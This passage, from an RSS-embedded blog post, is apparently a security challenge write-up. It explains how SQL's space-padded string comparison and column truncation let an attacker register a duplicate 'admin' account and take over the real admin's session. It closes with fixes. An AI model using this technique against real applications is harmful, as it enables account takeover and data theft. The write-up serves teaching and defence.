        &lt;span class="cp"&gt;&amp;lt;?=&lt;/span&gt; &lt;span class="nv"&gt;$currentUser&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'description'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
    &lt;span class="c"&gt;&amp;lt;!-- ... --&amp;gt;&lt;/span&gt;
    &lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Analysis
&lt;/h1&gt;

&lt;p&gt;The vulnerability is not within PHP, but rather is caused by SQL itself, and many bad design decisions with the vulnerable application.&lt;/p&gt;

&lt;p&gt;Here are few observations on the users table:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The username is not unique&lt;/li&gt;
&lt;li&gt;The username is a varchar of length 20&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And on the application itself:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The logged in user is based off the username
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// If login success: &lt;/span&gt;
&lt;span class="nv"&gt;$_SESSION&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'username'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'username'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;You can only register a user if the username isn't already taken
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;selectUser&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'user'&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'Username already taken!'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Solution
&lt;/h1&gt;

&lt;p&gt;Comparing strings in SQL is interesting.&lt;br&gt;&lt;br&gt;
What would you expect the following statement to be?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="s1"&gt;'x'&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'x '&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Unlike what many would expect, the &lt;code&gt;'x' = 'x '&lt;/code&gt; condition is &lt;code&gt;true&lt;/code&gt;!&lt;br&gt;&lt;br&gt;
In SQL, when comparing two strings, the shortest one is padded with spaces until they are of equal length.&lt;br&gt;
This does effectively mean that trailing spaces are useless in regular string comparisons!&lt;/p&gt;

&lt;p&gt;This is defined in the comparison operator in the &lt;a href="http://www.contrib.andrew.cmu.edu/~shadow/sql/sql1992.txt"&gt;SQL spec&lt;/a&gt;:  &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;a) If the length in characters of X is not equal to the length in characters of Y, then the shorter string is effectively replaced, for the purposes of comparison, with a copy of itself that has been extended to the length of the longer string by concatenation on the right of one or more pad characters, where the pad character is chosen based on CS. If CS has the NO PAD attribute, then the pad character is an implementation-dependent character different from any character in the character set of X and Y that collates less than any string under CS. Otherwise, the pad character is a &lt;code&gt;&amp;lt;space&amp;gt;&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The key to successfully exploit the application is resides in this particularity.&lt;/p&gt;

&lt;p&gt;The first thing we need to do is create a new user, with the same name as "admin".&lt;br&gt;&lt;br&gt;
We can do this by entering a username which starts with &lt;code&gt;admin&lt;/code&gt;, padded with spaces until the column size of &lt;code&gt;20&lt;/code&gt;, and a non-space character.&lt;br&gt;&lt;br&gt;
This will pass the &lt;code&gt;username exists&lt;/code&gt; condition, as the given username will not exist.&lt;br&gt;&lt;br&gt;
When inserting the new user, as the column has a &lt;code&gt;20&lt;/code&gt; character limit, the value will be truncated to &lt;code&gt;20&lt;/code&gt; characters and therefore be &lt;code&gt;admin&lt;/code&gt;, with trailing spaces.&lt;br&gt;
Note that this would not be possible if the column was unique, as we would get a duplicate entry message.&lt;/p&gt;

&lt;p&gt;The second step is to login, with the &lt;code&gt;admin&lt;/code&gt; username and our created user's password.&lt;br&gt;&lt;br&gt;
As the sql table now has two users, the regular admin and our fake one, the login query will work and select our new user.  &lt;/p&gt;

&lt;p&gt;Finally, as the application finds the currently logged in user based on its username, it select the first user with the &lt;code&gt;admin&lt;/code&gt; username. This means it will select the admin user instead of our own, and we can now steal the admin secret!&lt;/p&gt;

&lt;h1&gt;
  
  
  Conclusion
&lt;/h1&gt;

&lt;p&gt;Security issues are only bugs in your application.&lt;br&gt;&lt;br&gt;
Like regular bugs, you can limit their quantity by maintaining high quality code.&lt;br&gt;
In this application, marking the &lt;code&gt;username&lt;/code&gt; column unique, using the id to identify the current user or performing length validation beforehand would have prevented the issue.&lt;/p&gt;

&lt;h1&gt;
  
  
  References
&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://gitlab.com/AntonyGarand/pwn_fix_repeat_size_does_matter"&gt;https://gitlab.com/AntonyGarand/pwn_fix_repeat_size_does_matter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stackoverflow.com/questions/4166159/sql-where-clause-matching-values-with-trailing-spaces"&gt;https://stackoverflow.com/questions/4166159/sql-where-clause-matching-values-with-trailing-spaces&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.contrib.andrew.cmu.edu/%7Eshadow/sql/sql1992.txt"&gt;http://www.contrib.andrew.cmu.edu/~shadow/sql/sql1992.txt&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>security</category>
      <category>sql</category>
      <category>challenge</category>
    </item>
  </channel>
</rss>
